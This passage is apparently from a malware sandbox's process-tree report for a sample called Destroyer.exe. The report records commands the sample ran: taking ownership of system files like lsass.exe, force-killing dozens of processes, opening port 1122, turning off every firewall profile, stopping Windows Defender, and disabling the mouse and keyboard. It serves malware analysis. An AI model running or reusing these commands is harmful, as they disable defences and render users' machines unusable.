        takeown /f "C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-lsa-minwin_31bf3856ad364e35_10.0.22000.434_none_38ca096a17805fa9\f\lsass.exe"
        5⤵
        
        PID:3476
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-lsa-minwin_31bf3856ad364e35_10.0.22000.434_none_38ca096a17805fa9\f\lsass.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:4348
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-m..ndation-frameserver_31bf3856ad364e35_10.0.22000.469_none_b104ba5249e06dec\f\FsIso.exe"
      4⤵
      PID:2096
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3016
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-m..ndation-frameserver_31bf3856ad364e35_10.0.22000.469_none_b104ba5249e06dec\f\FsIso.exe"
        5⤵
        
        PID:6128
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-m..ndation-frameserver_31bf3856ad364e35_10.0.22000.469_none_b104ba5249e06dec\f\FsIso.exe" /grant "everyone":(f)
        5⤵
        
        PID:4260
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-m..nt-browser.appxmain_31bf3856ad364e35_10.0.22000.120_none_f759261c81fa2ed8\f\SecureAssessmentBrowser.exe"
      4⤵
      PID:3276
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2080
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-m..nt-browser.appxmain_31bf3856ad364e35_10.0.22000.120_none_f759261c81fa2ed8\f\SecureAssessmentBrowser.exe"
        5⤵
        
        PID:3480
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-m..nt-browser.appxmain_31bf3856ad364e35_10.0.22000.120_none_f759261c81fa2ed8\f\SecureAssessmentBrowser.exe" /grant "everyone":(f)
        5⤵
        Modifies file permissions
        
        PID:5220
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TakeOwn.bat "C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-m..pickerhost.appxmain_31bf3856ad364e35_10.0.22000.282_none_08c227a0c7c9c4c1\f\ModalSharePickerHost.exe"
      4⤵
      PID:2136
    - - C:\Windows\SysWOW64\takeown.exe
        
        takeown /f "C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-m..pickerhost.appxmain_31bf3856ad364e35_10.0.22000.282_none_08c227a0c7c9c4c1\f\ModalSharePickerHost.exe"
        5⤵
        
        PID:1044
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~22000.493.1.3\amd64_microsoft-windows-m..pickerhost.appxmain_31bf3856ad364e35_10.0.22000.282_none_08c227a0c7c9c4c1\f\ModalSharePickerHost.exe" /grant "everyone":(f)
        5⤵
        
        PID:5856
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4900 -s 928
      4⤵
      Loads dropped DLL
      Program crash
      PID:5208
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  PID:5300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa0085dcf8,0x7ffa0085dd04,0x7ffa0085dd10
    3⤵
    PID:5068
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1856,i,11334475130082539470,17804725063862355239,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=2080 /prefetch:11
    3⤵
    PID:3492
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2044,i,11334475130082539470,17804725063862355239,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=2040 /prefetch:2
    3⤵
    PID:5556
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2360,i,11334475130082539470,17804725063862355239,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=2376 /prefetch:13
    3⤵
    PID:4360
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3200,i,11334475130082539470,17804725063862355239,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=3444 /prefetch:1
    3⤵
    PID:1704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3208,i,11334475130082539470,17804725063862355239,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=3468 /prefetch:1
    3⤵
    PID:2100
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4508,i,11334475130082539470,17804725063862355239,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=4540 /prefetch:1
    3⤵
    PID:4340
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=4792,i,11334475130082539470,17804725063862355239,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=4804 /prefetch:14
    3⤵
    PID:4704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=4912,i,11334475130082539470,17804725063862355239,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=4928 /prefetch:14
    3⤵
    PID:4168
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=212,i,11334475130082539470,17804725063862355239,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=5720 /prefetch:14
    3⤵
    PID:4356
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5644,i,11334475130082539470,17804725063862355239,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=5768 /prefetch:14
    3⤵
    PID:2012
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5688,i,11334475130082539470,17804725063862355239,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=5636 /prefetch:14
    3⤵
    PID:2660
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=5368,i,11334475130082539470,17804725063862355239,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=5732 /prefetch:1
    3⤵
    PID:2400
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1180,i,11334475130082539470,17804725063862355239,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=5012 /prefetch:10
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4788
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=5024,i,11334475130082539470,17804725063862355239,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=5660 /prefetch:1
    3⤵
    PID:4804
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=5008,i,11334475130082539470,17804725063862355239,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=4824 /prefetch:1
    3⤵
    PID:6100
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=6244,i,11334475130082539470,17804725063862355239,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=6216 /prefetch:14
    3⤵
    PID:5548
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=6000,i,11334475130082539470,17804725063862355239,262144 --variations-seed-version=20250406-180222.955000 --mojo-platform-channel-handle=6392 /prefetch:14
    3⤵
    - NTFS ADS
    PID:5852
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  PID:1656
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0x88,0x108,0x7ffa0085dcf8,0x7ffa0085dd04,0x7ffa0085dd10
    3⤵
    PID:980
- C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\Destroyer.exe
  "C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\Destroyer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Modifies Control Panel
  - Modifies data under HKEY_USERS
  PID:1436
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\7857.tmp\7858.bat C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\Destroyer.exe"
    3⤵
    PID:5512
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist | findstr /r /b ".*.exe"
      4⤵
      PID:1472
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:5716
    - - C:\Windows\system32\findstr.exe
        
        findstr /r /b ".*.exe"
        5⤵
        
        PID:4364
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "380"
      4⤵
      PID:6016
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "480"
      4⤵
      Kills process with taskkill
      PID:5692
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "548"
      4⤵
      PID:4240
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "556"
      4⤵
      Kills process with taskkill
      PID:2228
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "640"
      4⤵
      PID:6040
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "680"
      4⤵
      Kills process with taskkill
      PID:5124
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "696"
      4⤵
      PID:3776
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "808"
      4⤵
      PID:4540
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "812"
      4⤵
      PID:4052
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "824"
      4⤵
      Kills process with taskkill
      PID:3972
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "940"
      4⤵
      Kills process with taskkill
      PID:3512
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "992"
      4⤵
      PID:5224
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "432"
      4⤵
      Kills process with taskkill
      PID:4780
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "540"
      4⤵
      PID:2984
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1048"
      4⤵
      Kills process with taskkill
      PID:4008
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1056"
      4⤵
      PID:3568
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1116"
      4⤵
      PID:4204
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1124"
      4⤵
      PID:3560
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1212"
      4⤵
      PID:4304
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1244"
      4⤵
      Kills process with taskkill
      PID:5192
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1288"
      4⤵
      PID:4952
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1352"
      4⤵
      PID:2484
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1368"
      4⤵
      Kills process with taskkill
      PID:5660
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1408"
      4⤵
      PID:5472
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1528"
      4⤵
      PID:3736
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1548"
      4⤵
      PID:4356
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1648"
      4⤵
      Kills process with taskkill
      PID:2660
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1712"
      4⤵
      PID:4628
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1744"
      4⤵
      PID:3900
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1812"
      4⤵
      PID:1724
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1848"
      4⤵
      Kills process with taskkill
      PID:3576
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1896"
      4⤵
      PID:2332
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1908"
      4⤵
      PID:2740
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "2016"
      4⤵
      PID:5596
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "2032"
      4⤵
      PID:4808
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "2072"
      4⤵
      PID:2876
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "2148"
      4⤵
      Kills process with taskkill
      PID:5112
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "2244"
      4⤵
      Kills process with taskkill
      PID:2624
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "2372"
      4⤵
      Kills process with taskkill
      PID:5372
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "2380"
      4⤵
      PID:4288
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "2444"
      4⤵
      PID:5044
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "2556"
      4⤵
      PID:4828
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "2568"
      4⤵
      Kills process with taskkill
      PID:4072
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "2576"
      4⤵
      PID:1620
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "2584"
      4⤵
      PID:2700
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "2608"
      4⤵
      PID:4980
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "2648"
      4⤵
      Kills process with taskkill
      PID:1864
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "3020"
      4⤵
      PID:3716
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "3040"
      4⤵
      Kills process with taskkill
      PID:3516
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "3128"
      4⤵
      Kills process with taskkill
      PID:3836
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "3448"
      4⤵
      Kills process with taskkill
      PID:2008
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "3464"
      4⤵
      PID:6080
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "3864"
      4⤵
      PID:4156
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "3920"
      4⤵
      PID:3968
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "3992"
      4⤵
      PID:560
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "4056"
      4⤵
      PID:4532
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "4368"
      4⤵
      PID:4960
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "4376"
      4⤵
      Kills process with taskkill
      PID:6096
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "4680"
      4⤵
      Kills process with taskkill
      PID:2252
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "5760"
      4⤵
      PID:5852
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "6052"
      4⤵
      PID:3224
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "4836"
      4⤵
      Kills process with taskkill
      PID:1640
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "5060"
      4⤵
      Kills process with taskkill
      PID:660
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "4800"
      4⤵
      PID:2480
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "3532"
      4⤵
      PID:5308
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "2840"
      4⤵
      Kills process with taskkill
      PID:2888
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "3428"
      4⤵
      Kills process with taskkill
      PID:4968
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "5268"
      4⤵
      PID:5900
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "580"
      4⤵
      PID:5696
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "5648"
      4⤵
      Kills process with taskkill
      PID:4948
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "2092"
      4⤵
      PID:692
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "4328"
      4⤵
      Kills process with taskkill
      PID:5040
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "3612"
      4⤵
      Kills process with taskkill
      PID:3136
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1392"
      4⤵
      PID:3904
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "3896"
      4⤵
      PID:3404
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "3964"
      4⤵
      PID:800
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "5300"
      4⤵
      PID:1584
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "5068"
      4⤵
      Kills process with taskkill
      PID:3496
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "3492"
      4⤵
      Kills process with taskkill
      PID:1500
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "5556"
      4⤵
      PID:4928
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "4360"
      4⤵
      PID:4552
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1704"
      4⤵
      PID:5436
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "2100"
      4⤵
      PID:3160
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "980"
      4⤵
      PID:1472
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "4340"
      4⤵
      PID:2980
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "2400"
      4⤵
      PID:3368
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "4804"
      4⤵
      PID:5128
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "6100"
      4⤵
      PID:3596
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1436"
      4⤵
      Kills process with taskkill
      PID:4240
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "4720"
      4⤵
      PID:4528
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "5512"
      4⤵
      Kills process with taskkill
      PID:1040
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "1472"
      4⤵
      PID:5160
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "5716"
      4⤵
      PID:2128
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "4364"
      4⤵
      Kills process with taskkill
      PID:5124
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im "2292"
      4⤵
      PID:700
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="Port 1122 TCP" dir=in action=allow protocol=TCP localport=1122
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:4724
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="Port 1122 UDP" dir=in action=allow protocol=UDP localport=1122
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:1604
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set currentprofile firewallpolicy blockinbound,allowoutbound
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:5224
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set currentprofile state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:4452
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set domainprofile state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:3444
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set privateprofile state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:4952
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set publicprofile state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:1664
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:3712
  - - C:\Windows\system32\net.exe
      net stop "Windows Defender Service"
      4⤵
      PID:832
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Windows Defender Service"
        5⤵
        
        PID:5584
  - - C:\Windows\system32\net.exe
      net stop "Windows Firewall"
      4⤵
      PID:6108
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Windows Firewall"
        5⤵
        
        PID:2860
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      PID:4012
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      PID:32
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
      4⤵
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      PID:5656
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:1492
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Start-Process "C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\Destroyer.exe" -Verb RunAs -ArgumentList "am_admin"
      4⤵
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      PID:1424
    - - C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\Destroyer.exe
        
        "C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\Destroyer.exe" am_admin
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Modifies Control Panel
        Modifies data under HKEY_USERS
        Modifies registry class
        
        PID:2264
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\AE8A.tmp\AE8B.bat C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\Destroyer.exe am_admin"
        6⤵
        
        PID:1768
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c tasklist | findstr /r /b ".*.exe"
        7⤵
        
        PID:1452
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        
        PID:4052
        
        C:\Windows\system32\findstr.exe
        
        findstr /r /b ".*.exe"
        8⤵
        
        PID:5032
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "380"
